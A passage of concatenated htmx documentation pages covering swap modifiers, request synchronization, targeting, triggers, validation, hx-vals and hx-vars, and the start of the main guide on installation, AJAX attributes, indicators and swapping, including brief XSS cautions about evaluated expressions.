  <div hx-get="/example" hx-swap="afterend">Get Some HTML & Append It</div>
```

The `div` will issue a request to `/example` and append the returned content after the `div`

### Modifiers

The `hx-swap` attributes supports modifiers for changing the behavior of the swap.  They are outlined below.

#### Transition: `transition`

If you want to use the new [View Transitions](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) API
when a swap occurs, you can use the `transition:true` option for your swap.  You can also enable this feature globally by
setting the `htmx.config.globalViewTransitions` config setting to `true`.

#### Timing: `swap` & `settle`

You can modify the amount of time that htmx will wait after receiving a response to swap the content
by including a `swap` modifier:

```html
  <!-- this will wait 1s before doing the swap after it is received -->
  <div hx-get="/example" hx-swap="innerHTML swap:1s">Get Some HTML & Append It</div>
```

Similarly, you can modify the time between the swap and the settle logic by including a `settle`
modifier:

```html
  <!-- this will wait 1s before doing the settle after it is received -->
  <div hx-get="/example" hx-swap="innerHTML settle:1s">Get Some HTML & Append It</div>
```

These attributes can be used to synchronize htmx with the timing of CSS transition effects.

#### Title: `ignoreTitle`

By default, htmx will update the title of the page if it finds a `<title>` tag in the response content.  You can turn
off this behavior by setting the `ignoreTitle` option to true.

#### Scrolling: `scroll` & `show`

You can also change the scrolling behavior of the target element by using the `scroll` and `show` modifiers, both
of which take the values `top` and `bottom`:

```html
  <!-- this fixed-height div will scroll to the bottom of the div after content is appended -->
  <div style="height:200px; overflow: scroll" 
       hx-get="/example" 
       hx-swap="beforeend scroll:bottom">
     Get Some HTML & Append It & Scroll To Bottom
  </div>
```

```html
  <!-- this will get some content and add it to #another-div, then ensure that the top of #another-div is visible in the 
       viewport -->
  <div hx-get="/example" 
       hx-swap="innerHTML show:top"
       hx-target="#another-div">
    Get Some Content
  </div>
```

If you wish to target a different element for scrolling or showing, you may place a CSS selector after the `scroll:`
or `show:`, followed by `:top` or `:bottom`:

```html
  <!-- this will get some content and swap it into the current div, then ensure that the top of #another-div is visible in the 
       viewport -->
  <div hx-get="/example" 
       hx-swap="innerHTML show:#another-div:top">
    Get Some Content
  </div>
```

You may also use `window:top` and `window:bottom` to scroll to the top and bottom of the current window.


```html
  <!-- this will get some content and swap it into the current div, then ensure that the viewport is scrolled to the
       very top -->
  <div hx-get="/example" 
       hx-swap="innerHTML show:window:top">
    Get Some Content
  </div>
```

For boosted links and forms the default behaviour is `show:top`. You can disable it globally with
[htmx.config.scrollIntoViewOnBoost](@/api.md#config) or you can use `hx-swap="show:none"` on an element basis.

```html
<form action="/example" hx-swap="show:none">
  ...
</form>
```

#### Focus scroll

htmx preserves focus between requests for inputs that have a defined id attribute. By default htmx prevents auto-scrolling to focused inputs between requests which can be unwanted behavior on longer requests when the user has already scrolled away. To enable focus scroll you can use `focus-scroll:true`.

```html
  <input id="name" hx-get="/validation" 
       hx-swap="outerHTML focus-scroll:true"/>
```

Alternatively, if you want the page to automatically scroll to the focused element after each request you can change the htmx global configuration value `htmx.config.defaultFocusScroll` to true. Then disable it for specific requests using `focus-scroll:false`.

```html
  <input id="name" hx-get="/validation" 
       hx-swap="outerHTML focus-scroll:false"/>
```

## Notes

* `hx-swap` is inherited and can be placed on a parent element
* The default value of this attribute is `innerHTML`
* Due to DOM limitations, it’s not possible to use the `outerHTML` method on the `<body>` element.
  htmx will change `outerHTML` on `<body>` to use `innerHTML`.
* The default swap delay is 0ms
* The default settle delay is 20ms

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-sync.md

+++
title = "hx-sync"
description = "The hx-sync attribute in htmx allows you to synchronize AJAX requests between multiple elements."
+++

The `hx-sync` attribute allows you to synchronize AJAX requests between multiple elements.

The `hx-sync` attribute consists of a CSS selector to indicate the element to synchronize on, followed optionally
by a colon and then by an optional syncing strategy.  The available strategies are:

* `drop` - drop (ignore) this request if an existing request is in flight (the default)
* `abort` - drop (ignore) this request if an existing request is in flight, and, if that is not the case, 
            *abort* this request if another request occurs while it is still in flight
* `replace` - abort the current request, if any, and replace it with this request
* `queue` - place this request in the request queue associated with the given element

The `queue` modifier can take an additional argument indicating exactly how to queue:

* `queue first` - queue the first request to show up while a request is in flight
* `queue last` - queue the last request to show up while a request is in flight
* `queue all` - queue all requests that show up while a request is in flight

## Notes

* `hx-sync` is inherited and can be placed on a parent element

This example resolves a race condition between a form's submit request and an individual input's validation request. Normally, without using `hx-sync`, filling out the input and immediately submitting the form triggers two parallel requests to `/validate` and `/store`. Using `hx-sync="closest form:abort"` on the input will watch for requests on the form and abort the input's request if a form request is present or starts while the input request is in flight.

```html
<form hx-post="/store">
    <input id="title" name="title" type="text" 
        hx-post="/validate" 
        hx-trigger="change"
        hx-sync="closest form:abort">
    <button type="submit">Submit</button>
</form>
```

If you'd rather prioritize the validation request over the submit request, you can use the `drop` strategy. This example will prioritize the validation request over the submit request so that if a validation request is in flight, the form cannot be submitted.

```html
<form hx-post="/store">
    <input id="title" name="title" type="text" 
        hx-post="/validate" 
        hx-trigger="change"
        hx-sync="closest form:drop"
    >
    <button type="submit">Submit</button>
</form>
```

When dealing with forms that contain many inputs, you can prioritize the submit request over all input validation requests using the hx-sync `replace` strategy on the form tag. This will cancel any in-flight validation requests and issue only the `hx-post="/store"` request. If you'd rather abort the submit request and prioritize any existing validation requests you can use the `hx-sync="this:abort"` strategy on the form tag.

```html
<form hx-post="/store" hx-sync="this:replace">
    <input id="title" name="title" type="text" hx-post="/validate" hx-trigger="change" />
    <button type="submit">Submit</button>
</form>
```

When implementing active search functionality the hx-trigger attribute's `delay` modifier can be used to debounce the user's input and avoid making multiple requests while the user types. However, once a request is made, if the user begins typing again a new request will begin even if the previous one has not finished processing. This example will cancel any in-flight requests and use only the last request. In cases where the search input is contained within the target, then using `hx-sync` like this also helps reduce the chances that the input will be replaced while the user is still typing.

```html
<input type="search" 
    hx-get="/search" 
    hx-trigger="keyup changed delay:500ms, search" 
    hx-target="#search-results"
    hx-sync="this:replace">
```

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-target.md

+++
title = "hx-target"
description = """\
  The hx-target attribute in htmx allows you to target a different element for swapping than the one issuing the AJAX \
  request."""
+++

The `hx-target` attribute allows you to target a different element for swapping than the one issuing the AJAX
request.  The value of this attribute can be:

* A CSS query selector of the element to target.
* `this` which indicates that the element that the `hx-target` attribute is on is the target.
* `closest <CSS selector>` which will find the [closest](https://developer.mozilla.org/docs/Web/API/Element/closest)
  ancestor element or itself, that matches the given CSS selector
  (e.g. `closest tr` will target the closest table row to the element).
* `find <CSS selector>` which will find the first child descendant element that matches the given CSS selector.
* `next` which resolves to [element.nextElementSibling](https://developer.mozilla.org/docs/Web/API/Element/nextElementSibling)
* `next <CSS selector>` which will scan the DOM forward for the first element that matches the given CSS selector.
  (e.g. `next .error` will target the closest following sibling element with `error` class)
* `previous` which resolves to [element.previousElementSibling](https://developer.mozilla.org/docs/Web/API/Element/previousElementSibling)
* `previous <CSS selector>` which will scan the DOM backwards for the first element that matches the given CSS selector.
  (e.g. `previous .error` will target the closest previous sibling with `error` class)


Here is an example that targets a div:

```html
<div>
    <div id="response-div"></div>
    <button hx-post="/register" hx-target="#response-div" hx-swap="beforeend">
        Register!
    </button>
</div>
```

The response from the `/register` url will be appended to the `div` with the id `response-div`.

This example uses `hx-target="this"` to make a link that updates itself when clicked:
```html
<a hx-post="/new-link" hx-target="this" hx-swap="outerHTML">New link</a>
```

## Notes

* `hx-target` is inherited and can be placed on a parent element

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-trigger.md

+++
title = "hx-trigger"
description = """\
  The hx-trigger attribute in htmx allows you to specify what triggers an AJAX request. Supported triggers include \
  standard DOM events, custom events, polling intervals, and event modifiers. The hx-trigger attribute also allows \
  specifying event filtering, timing controls, event bubbling, and multiple trigger definitions for fine-grained \
  control over when and how requests are initiated."""
+++

The `hx-trigger` attribute allows you to specify what triggers an AJAX request.  A trigger
value can be one of the following:

* An event name (e.g. "click" or "my-custom-event") followed by an event filter and a set of event modifiers
* A polling definition of the form `every <timing declaration>`
* A comma-separated list of such events

### Standard Events

Standard events refer to [web API events](https://developer.mozilla.org/en-US/docs/Web/API/Element#events) (e.g. click, keydown, mouseup, load).

A standard event, such as `click` can be specified as the trigger like so:

```html
<div hx-get="/clicked" hx-trigger="click">Click Me</div>
```

#### Standard Event Filters

Events can be filtered by enclosing a boolean javascript expression in square brackets after the event name.  If
this expression evaluates to `true` the event will be triggered, otherwise it will be ignored. Standard event filters [require eval](@/docs.md#configuration-options).

```html
<div hx-get="/clicked" hx-trigger="click[ctrlKey]">Control Click Me</div>
```

This event will trigger if a click event is triggered with the `event.ctrlKey` property set to true.

Conditions can also refer to global functions or state

```html
<div hx-get="/clicked" hx-trigger="click[checkGlobalState()]">Control Click Me</div>
```

And can also be combined using the standard javascript syntax

```html
<div hx-get="/clicked" hx-trigger="click[ctrlKey&&shiftKey]">Control-Shift Click Me</div>
```

Note that all symbols used in the expression will be resolved first against the triggering event, and then next
against the global namespace, so `myEvent[foo]` will first look for a property named `foo` on the event, then look
for a global symbol with the name `foo`

#### Standard Event Modifiers

Standard events can also have modifiers that change how they behave.  The modifiers are:

* `once` - the event will only trigger once (e.g. the first click)
* `changed` - the event will only fire if the value of the element has changed. Please pay attention `change` is the name of the event and `changed` is the name of the modifier.
* `delay:<timing declaration>` - a delay will occur before an event triggers a request.  If the event
is seen again it will reset the delay.
* `throttle:<timing declaration>` - a throttle will occur after an event triggers a request. If the event
is seen again before the delay completes, it is ignored, the element will trigger at the end of the delay.
* `from:<Extended CSS selector>` - allows the event that triggers a request to come from another element in the document (e.g. listening to a key event on the body, to support hot keys)
  * A standard CSS selector resolves to all elements matching that selector. Thus, `from:input` would listen on every input on the page.
  * The CSS selector is only evaluated once and is not re-evaluated when the page changes. If you need to detect dynamically added elements use a [standard event filter](#standard-event-filters), for example `hx-trigger="click[event.target.matches('button')] from:body"` which would [catch](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Event_bubbling) click events from every button on the page.
  * The extended CSS selector here allows for the following non-standard CSS values:
    * `document` - listen for events on the document
    * `window` - listen for events on the window
    * `closest <CSS selector>` - finds the [closest](https://developer.mozilla.org/docs/Web/API/Element/closest) ancestor element or itself, matching the given css selector
    * `find <CSS selector>` - finds the closest child matching the given css selector
    * `next` resolves to [element.nextElementSibling](https://developer.mozilla.org/docs/Web/API/Element/nextElementSibling)
    * `next <CSS selector>` scans the DOM forward for the first element that matches the given CSS selector.
      (e.g. `next .error` will target the closest following sibling element with `error` class)
    * `previous` resolves to [element.previousElementSibling](https://developer.mozilla.org/docs/Web/API/Element/previousElementSibling)
    * `previous <CSS selector>` scans the DOM backwards for the first element that matches the given CSS selector.
      (e.g. `previous .error` will target the closest previous sibling with `error` class)
* `target:<CSS selector>` - allows you to filter via a CSS selector on the target of the event.  This can be useful when you want to listen for
triggers from elements that might not be in the DOM at the point of initialization, by, for example, listening on the body,
but with a target filter for a child element
* `consume` - if this option is included the event will not trigger any other htmx requests on parents (or on elements
  listening on parents)
* `queue:<queue option>` - determines how events are queued if an event occurs while a request for another event is in flight.  Options are:
  * `first` - queue the first event
  * `last` - queue the last event (default)
  * `all` - queue all events (issue a request for each event)
  * `none` - do not queue new events

Here is an example of a search box that searches on `input`, but only if the search value has changed
and the user hasn't typed anything new for 1 second:

```html
<input name="q"
       hx-get="/search" hx-trigger="input changed delay:1s"
       hx-target="#search-results"/>
```

The response from the `/search` url will be appended to the `div` with the id `search-results`.

### Non-standard Events

There are some additional non-standard events that htmx supports:

* `load` - triggered on load (useful for lazy-loading something)
* `revealed` - triggered when an element is scrolled into the viewport (also useful for lazy-loading). If you are using `overflow` in css like `overflow-y: scroll` you should use `intersect once` instead of `revealed`.
* `intersect` - fires once when an element first intersects the viewport.  This supports two additional options:
    * `root:<selector>` - a CSS selector of the root element for intersection
    * `threshold:<float>` - a floating point number between 0.0 and 1.0, indicating what amount of intersection to fire the event on

### Triggering via the `HX-Trigger` header

If you're trying to fire an event from <code>HX-Trigger</code> response  header, you will likely want to
use the `from:body` modifier.  E.g. if you send a header like this <code>HX-Trigger: my-custom-event</code>
with a response, an element would likely need to look like this:

```html
  <div hx-get="/example" hx-trigger="my-custom-event from:body">
    Triggered by HX-Trigger header...
  </div>
```

in order to fire.

This is because the header will likely trigger the event in a different DOM hierarchy than the element that you
wish to be triggered.  For a similar reason, you will often listen for hot keys from the body.

### Polling

By using the syntax `every <timing declaration>` you can have an element poll periodically:

```html
<div hx-get="/latest_updates" hx-trigger="every 1s">
  Nothing Yet!
</div>
```

This example will issue a `GET` to the `/latest_updates` URL every second and swap the results into
the innerHTML of this div.

If you want to add a filter to polling, it should be added *after* the poll declaration:

```html
<div hx-get="/latest_updates" hx-trigger="every 1s [someConditional]">
  Nothing Yet!
</div>
```

### Multiple Triggers

Multiple triggers can be provided, separated by commas.  Each trigger gets its own options.
```html
  <div hx-get="/news" hx-trigger="load, click delay:1s"></div>
```
This example will load `/news` immediately on page load, and then again with a delay of one second after each click.

### Via JavaScript

The AJAX request can be triggered via JavaScript [`htmx.trigger()`](@/api.md#trigger), too.

## Notes

* `hx-trigger` is not inherited
* `hx-trigger` can be used without an AJAX request, in which case it will only fire the `htmx:trigger` event
* In order to pass a CSS selector that contains whitespace (e.g. `form input`) to the `from`- or `target`-modifier, surround the selector in parentheses or curly brackets (e.g. `from:(form input)` or `from:closest (form input)`)
* A reset event in hx-trigger (e.g. hx-trigger="change, reset") might not work as intended, since HTMX builds its values and sends a request before the browser resets the form values. As a workaround, add a delay to let the browser reset the form before making the request (e.g. hx-trigger="change, reset delay:0.01s").

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-validate.md

+++
title = "hx-validate"
description = """\
  The hx-validate attribute in htmx will cause an element to validate itself using the HTML5 Validation API before it \
  submits a request."""
+++

The `hx-validate` attribute will cause an element to validate itself by way of the [HTML5 Validation API](@/docs.md#validation)
before it submits a request.

Only `<form>` elements validate data by default, but other elements do not. Adding `hx-validate="true"` to `<input>`, `<textarea>` or `<select>` enables validation before sending requests.

## Notes

* `hx-validate` is not inherited

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-vals.md

+++
title = "hx-vals"
description = """\
  The hx-vals attribute in htmx allows you to add to the parameters that will be submitted with an AJAX request."""
+++

The `hx-vals` attribute allows you to add to the parameters that will be submitted with an AJAX request.

By default, the value of this attribute is a list of name-expression values in [JSON (JavaScript Object Notation)](https://www.json.org/json-en.html)
format.

If you wish for `hx-vals` to *evaluate* the values given, you can prefix the values with `javascript:` or `js:`.

```html
  <div hx-get="/example" hx-vals='{"myVal": "My Value"}'>Get Some HTML, Including A Value in the Request</div>

  <div hx-get="/example" hx-vals='js:{myVal: calculateValue()}'>Get Some HTML, Including a Dynamic Value from Javascript in the Request</div>
```

When using evaluated code you can access the `event` object. This example includes the value of the last typed key within the input.

```html
  <div hx-get="/example" hx-trigger="keyup" hx-vals='js:{lastKey: event.key}'>
    <input type="text" />
  </div>
```

You can also use the spread operator to dynamically specify values. This allows you to include all properties from an object returned by a function:

```html
  <div hx-get="/example" hx-vals='js:{...foo()}'>Get Some HTML, Including All Values from foo() in the Request</div>
```

In this example, if `foo()` returns an object like `{name: "John", age: 30}`, both `name` and `age` will be included as parameters in the request.

## Security Considerations

* By default, the value of `hx-vals` must be valid [JSON](https://developer.mozilla.org/en-US/docs/Glossary/JSON).
  It is **not** dynamically computed.  If you use the `javascript:` prefix, be aware that you are introducing
  security considerations, especially when dealing with user input such as query strings or user-generated content,
  which could introduce a [Cross-Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability.

## Notes

* `hx-vals` is inherited and can be placed on a parent element.
* A child declaration of a variable overrides a parent declaration.
* Input values with the same name will be overridden by variable declarations.
* When using `javascript:`, `this` refers to the element with the `hx-vals` attribute

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/hx-vars.md

+++
title = "hx-vars"
description = """\
  The hx-vars attribute in htmx allows you to dynamically add to the parameters that will be submitted with an AJAX \
  request. This attribute has been deprecated. We recommend you use the hx-vals attribute that provides the same \
  functionality with safer defaults."""
+++

**NOTE: `hx-vars` has been deprecated in favor of [`hx-vals`](@/attributes/hx-vals.md), which is safer by default.**

The `hx-vars` attribute allows you to dynamically add to the parameters that will be submitted with an AJAX request.  

The value of this attribute is a comma separated list of `name`:`<expression>` values, the same as the internal
syntax of javascript [Object Literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Object_literals).

```html
  <div hx-get="/example" hx-vars="myVar:computeMyVar()">Get Some HTML, Including A Dynamic Value in the Request</div>
```

## Security Considerations

* The expressions in `hx-vars` are dynamically computed which allows you to add JavaScript code that will be executed. Be careful to **never** trust user input in your expressions as this may lead to a [Cross-Site Scripting (XSS)](https://owasp.org/www-community/attacks/xss/) vulnerability. If you are dealing with user input such as query strings or user-generated content, consider using [hx-vals](@/attributes/hx-vals.md) which is a safer alternative.

## Notes

* `hx-vars` is inherited and can be placed on a parent element.
* A child declaration of a variable overrides a parent declaration.
* Input values with the same name will be overridden by variable declarations.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/attributes/_index.md

+++
# There is no /attributes URL; this file exists to define a Zola section for this directory
+++

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/docs.md

+++
title = "Documentation"
[extra]
custom_classes = "wide-content"
+++
<div class="row">
<div class="2 col nav">

**Contents**

<div id="contents">

* [introduction](#introduction)
* [installing](#installing)
* [ajax](#ajax)
  * [triggers](#triggers)
    * [trigger modifiers](#trigger-modifiers)
    * [trigger filters](#trigger-filters)
    * [special events](#special-events)
    * [polling](#polling)
    * [load polling](#load_polling)
  * [indicators](#indicators)
  * [targets](#targets)
  * [swapping](#swapping)
  * [synchronization](#synchronization)
  * [css transitions](#css_transitions)
  * [out of band swaps](#oob_swaps)
  * [parameters](#parameters)
  * [confirming](#confirming)
* [inheritance](#inheritance)
* [boosting](#boosting)
* [websockets & SSE](#websockets-and-sse)
* [history](#history)
* [requests & responses](#requests)
* [validation](#validation)
* [animations](#animations)
* [extensions](#extensions)
* [events & logging](#events)
* [debugging](#debugging)
* [scripting](#scripting)
  * [hx-on attribute](#hx-on)
* [3rd party integration](#3rd-party)
  * [Web Components](#web-components)
* [caching](#caching)
* [security](#security)
* [configuring](#config)

</div>

</div>
<div class="10 col">

## htmx in a Nutshell {#introduction}

htmx is a library that allows you to access modern browser features directly from HTML, rather than using
javascript.

To understand htmx, first let's take a look at an anchor tag:

```html
<a href="/blog">Blog</a>
```

This anchor tag tells a browser:

> "When a user clicks on this link, issue an HTTP GET request to '/blog' and load the response content
>  into the browser window".

With that in mind, consider the following bit of HTML:

```html
<button hx-post="/clicked"
    hx-trigger="click"
    hx-target="#parent-div"
    hx-swap="outerHTML">
    Click Me!
</button>
```

This tells htmx:

> "When a user clicks on this button, issue an HTTP POST request to '/clicked' and use the content from the response
>  to replace the element with the id `parent-div` in the DOM"

htmx extends and generalizes the core idea of HTML as a hypertext, opening up many more possibilities directly
within the language:

* Now any element, not just anchors and forms, can issue an HTTP request
* Now any event, not just clicks or form submissions, can trigger requests
* Now any [HTTP verb](https://en.wikipedia.org/wiki/HTTP_Verbs), not just `GET` and `POST`, can be used
* Now any element, not just the entire window, can be the target for update by the request

Note that when you are using htmx, on the server side you typically respond with *HTML*, not *JSON*.  This keeps you firmly
within the [original web programming model](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm),
using [Hypertext As The Engine Of Application State](https://en.wikipedia.org/wiki/HATEOAS)
without even needing to really understand that concept.

It's worth mentioning that, if you prefer, you can use the [`data-`](https://html.spec.whatwg.org/multipage/dom.html#attr-data-*) prefix when using htmx:

```html
<a data-hx-post="/click">Click Me!</a>
```

If you understand the concepts around htmx and want to see the quirks of the library, please see our 
[QUIRKS](@/QUIRKS.md) page.

## 1.x to 2.x Migration Guide

[Version 1](https://v1.htmx.org) of htmx is still supported and supports IE11, but the latest version of htmx is 2.x.

If you are migrating to htmx 2.x from [htmx 1.x](https://v1.htmx.org), please see the [htmx 1.x migration guide](@/migration-guide-htmx-1.md).

If you are migrating to htmx from intercooler.js, please see the [intercooler migration guide](@/migration-guide-intercooler.md).

## Installing

Htmx is a dependency-free, browser-oriented javascript library. This means that using it is as simple as adding a `<script>`
tag to your document head.  There is no need for a build system to use it.

### Via A CDN (e.g. jsDelivr)

The fastest way to get going with htmx is to load it via a CDN. You can simply add this to
your head tag and get going:

```html
<script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js" integrity="sha384-/TgkGk7p307TH7EXJDuUlgG3Ce1UVolAOFopFekQkkXihi5u/6OCvVKyz1W+idaz" crossorigin="anonymous"></script>
```

An unminified version is also available as well:

```html
<script src="https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.js" integrity="sha384-ezjq8118wdwdRMj+nX4bevEi+cDLTbhLAeFF688VK8tPDGeLUe0WoY2MZtSla72F" crossorigin="anonymous"></script>
```

While the CDN approach is extremely simple, you may want to consider
[not using CDNs in production](https://blog.wesleyac.com/posts/why-not-javascript-cdn).

### Download a copy

The next easiest way to install htmx is to simply copy it into your project.

Download `htmx.min.js` [from jsDelivr](https://cdn.jsdelivr.net/npm/htmx.org@2.0.8/dist/htmx.min.js) and add it to the appropriate directory in your project
and include it where necessary with a `<script>` tag:

```html
<script src="/path/to/htmx.min.js"></script>
```

### npm

For npm-style build systems, you can install htmx via [npm](https://www.npmjs.com/):

```sh
npm install htmx.org@2.0.8
```

After installing, you’ll need to use appropriate tooling to use `node_modules/htmx.org/dist/htmx.js` (or `.min.js`).
For example, you might bundle htmx with some extensions and project-specific code.

### Webpack

If you are using webpack to manage your javascript:

* Install `htmx` via your favourite package manager (like npm or yarn)
* Add the import to your `index.js`

```js
import 'htmx.org';
```

If you want to use the global `htmx` variable (recommended), you need to inject it to the window scope:

* Create a custom JS file
* Import this file to your `index.js` (below the import from step 2)

```js
import 'path/to/my_custom.js';
```

* Then add this code to the file:

```js
window.htmx = require('htmx.org');
```

* Finally, rebuild your bundle

## AJAX

The core of htmx is a set of attributes that allow you to issue AJAX requests directly from HTML:

| Attribute                              | Description                                |
|----------------------------------------|--------------------------------------------|
| [hx-get](@/attributes/hx-get.md)       | Issues a `GET` request to the given URL    |
| [hx-post](@/attributes/hx-post.md)     | Issues a `POST` request to the given URL   |
| [hx-put](@/attributes/hx-put.md)       | Issues a `PUT` request to the given URL    |
| [hx-patch](@/attributes/hx-patch.md)   | Issues a `PATCH` request to the given URL  |
| [hx-delete](@/attributes/hx-delete.md) | Issues a `DELETE` request to the given URL |

Each of these attributes takes a URL to issue an AJAX request to.  The element will issue a request of the specified
type to the given URL when the element is [triggered](#triggers):

```html
<button hx-put="/messages">
    Put To Messages
</button>
```

This tells the browser:

> When a user clicks on this button, issue a PUT request to the URL /messages and load the response into the button

### Triggering Requests {#triggers}

By default, AJAX requests are triggered by the "natural" event of an element:

* `input`, `textarea` & `select` are triggered on the `change` event
* `form` is triggered on the `submit` event
* everything else is triggered by the `click` event

If you want different behavior you can use the [hx-trigger](@/attributes/hx-trigger.md)
attribute to specify which event will cause the request.

Here is a `div` that posts to `/mouse_entered` when a mouse enters it:

```html
<div hx-post="/mouse_entered" hx-trigger="mouseenter">
    [Here Mouse, Mouse!]
</div>
```

#### Trigger Modifiers

A trigger can also have a few additional modifiers that change its behavior.  For example, if you want a request to only
 happen once, you can use the `once` modifier for the trigger:

```html
<div hx-post="/mouse_entered" hx-trigger="mouseenter once">
    [Here Mouse, Mouse!]
</div>
```

Other modifiers you can use for triggers are:

* `changed` - only issue a request if the value of the element has changed
*  `delay:<time interval>` - wait the given amount of time (e.g. `1s`) before
issuing the request.  If the event triggers again, the countdown is reset.
*  `throttle:<time interval>` - wait the given amount of time (e.g. `1s`) before
issuing the request.  Unlike `delay` if a new event occurs before the time limit is hit the event will be discarded,
so the request will trigger at the end of the time period.
*  `from:<CSS Selector>` - listen for the event on a different element.  This can be used for things like keyboard shortcuts. Note that this CSS selector is not re-evaluated if the page changes.

You can use these attributes to implement many common UX patterns, such as [Active Search](@/examples/active-search.md):

```html
<input type="text" name="q"
    hx-get="/trigger_delay"
    hx-trigger="keyup changed delay:500ms"
    hx-target="#search-results"
    placeholder="Search...">
<div id="search-results"></div>
```

This input will issue a request 500 milliseconds after a key up event if the input has been changed and inserts the results
into the `div` with the id `search-results`.

Multiple triggers can be specified in the [hx-trigger](@/attributes/hx-trigger.md) attribute, separated by commas.

#### Trigger Filters

You may also apply trigger filters by using square brackets after the event name, enclosing a javascript expression that
will be evaluated.  If the expression evaluates to `true` the event will trigger, otherwise it will not.

Here is an example that triggers only on a Control-Click of the element

```html
<div hx-get="/clicked" hx-trigger="click[ctrlKey]">
    Control Click Me
</div>
```

Properties like `ctrlKey` will be resolved against the triggering event first, then against the global scope.  The
`this` symbol will be set to the current element.

#### Special Events

htmx provides a few special events for use in [hx-trigger](@/attributes/hx-trigger.md):

* `load` - fires once when the element is first loaded
* `revealed` - fires once when an element first scrolls into the viewport
* `intersect` - fires once when an element first intersects the viewport.  This supports two additional options:
    * `root:<selector>` - a CSS selector of the root element for intersection
    * `threshold:<float>` - a floating point number between 0.0 and 1.0, indicating what amount of intersection to fire the event on

You can also use custom events to trigger requests if you have an advanced use case.

#### Polling

If you want an element to poll the given URL rather than wait for an event, you can use the `every` syntax
with the [`hx-trigger`](@/attributes/hx-trigger.md) attribute:

```html
<div hx-get="/news" hx-trigger="every 2s"></div>
```

This tells htmx

> Every 2 seconds, issue a GET to /news and load the response into the div

If you want to stop polling from a server response you can respond with the HTTP response code [`286`](https://en.wikipedia.org/wiki/86_(term))
and the element will cancel the polling.

#### Load Polling {#load_polling}

Another technique that can be used to achieve polling in htmx is "load polling", where an element specifies
a `load` trigger along with a delay, and replaces itself with the response:

```html
<div hx-get="/messages"
    hx-trigger="load delay:1s"
    hx-swap="outerHTML">
</div>
```

If the `/messages` end point keeps returning a div set up this way, it will keep "polling" back to the URL every
second.

Load polling can be useful in situations where a poll has an end point at which point the polling terminates, such as
when you are showing the user a [progress bar](@/examples/progress-bar.md).

### Request Indicators {#indicators}

When an AJAX request is issued it is often good to let the user know that something is happening since the browser
will not give them any feedback.  You can accomplish this in htmx by using `htmx-indicator` class.

The `htmx-indicator` class is defined so that the opacity of any element with this class is 0 by default, making it invisible
but present in the DOM.

When htmx issues a request, it will put a `htmx-request` class onto an element (either the requesting element or
another element, if specified).  The `htmx-request` class will cause a child element with the `htmx-indicator` class
on it to transition to an opacity of 1, showing the indicator.

```html
<button hx-get="/click">
    Click Me!
    <img class="htmx-indicator" src="/spinner.gif" alt="Loading...">
</button>
```

Here we have a button.  When it is clicked the `htmx-request` class will be added to it, which will reveal the spinner
gif element.  (I like [SVG spinners](http://samherbert.net/svg-loaders/) these days.)

While the `htmx-indicator` class uses opacity to hide and show the progress indicator, if you would prefer another mechanism
you can create your own CSS transition like so:

```css
.htmx-indicator{
    display:none;
}
.htmx-request .htmx-indicator{
    display:inline;
}
.htmx-request.htmx-indicator{
    display:inline;
}
```

If you want the `htmx-request` class added to a different element, you can use the [hx-indicator](@/attributes/hx-indicator.md)
attribute with a CSS selector to do so:

```html
<div>
    <button hx-get="/click" hx-indicator="#indicator">
        Click Me!
    </button>
    <img id="indicator" class="htmx-indicator" src="/spinner.gif" alt="Loading..."/>
</div>
```

Here we call out the indicator explicitly by id.  Note that we could have placed the class on the parent `div` as well
and had the same effect.

You can also add the [`disabled` attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/disabled) to
elements for the duration of a request by using the [hx-disabled-elt](@/attributes/hx-disabled-elt.md) attribute.

### Targets

If you want the response to be loaded into a different element other than the one that made the request, you can
use the [hx-target](@/attributes/hx-target.md) attribute, which takes a CSS selector.  Looking back at our Live Search example:

```html
<input type="text" name="q"
    hx-get="/trigger_delay"
    hx-trigger="keyup delay:500ms changed"
    hx-target="#search-results"
    placeholder="Search...">
<div id="search-results"></div>
```

You can see that the results from the search are going to be loaded into `div#search-results`, rather than into the
input tag.


#### Extended CSS Selectors {#extended-css-selectors}

`hx-target`, and most attributes that take a CSS selector, support an "extended" CSS syntax:

* You can use the `this` keyword, which indicates that the element that the `hx-target` attribute is on is the target
* The `closest <CSS selector>` syntax will find the [closest](https://developer.mozilla.org/docs/Web/API/Element/closest)
  ancestor element or itself, that matches the given CSS selector.
  (e.g. `closest tr` will target the closest table row to the element)
* The `next <CSS selector>` syntax will find the next element in the DOM matching the given CSS selector.
* The `previous <CSS selector>` syntax will find the previous element in the DOM matching the given CSS selector.
* `find <CSS selector>` which will find the first child descendant element that matches the given CSS selector.
  (e.g `find tr` would target the first child descendant row to the element)

In addition, a CSS selector may be wrapped in `<` and `/>` characters, mimicking the
[query literal](https://hyperscript.org/expressions/query-reference/) syntax of hyperscript.

Relative targets like this can be useful for creating flexible user interfaces without peppering your DOM with lots
of `id` attributes.


### Swapping {#swapping}

htmx offers a few different ways to swap the HTML returned into the DOM.  By default, the content replaces the
`innerHTML` of the target element.  You can modify this by using the [hx-swap](@/attributes/hx-swap.md) attribute
with any of the following values:

| Name | Description
|------|-------------
| `innerHTML` | the default, puts the content inside the target element
| `outerHTML` | replaces the entire target element with the returned content
| `afterbegin` | prepends the content before the first child inside the target
| `beforebegin` | prepends the content before the target in the target's parent element
| `beforeend` | appends the content after the last child inside the target
| `afterend` | appends the content after the target in the target's parent element
| `delete` | deletes the target element regardless of the response
| `none` | does not append content from response ([Out of Band Swaps](#oob_swaps) and [Response Headers](#response-headers) will still be processed)

#### Morph Swaps {#morphing}

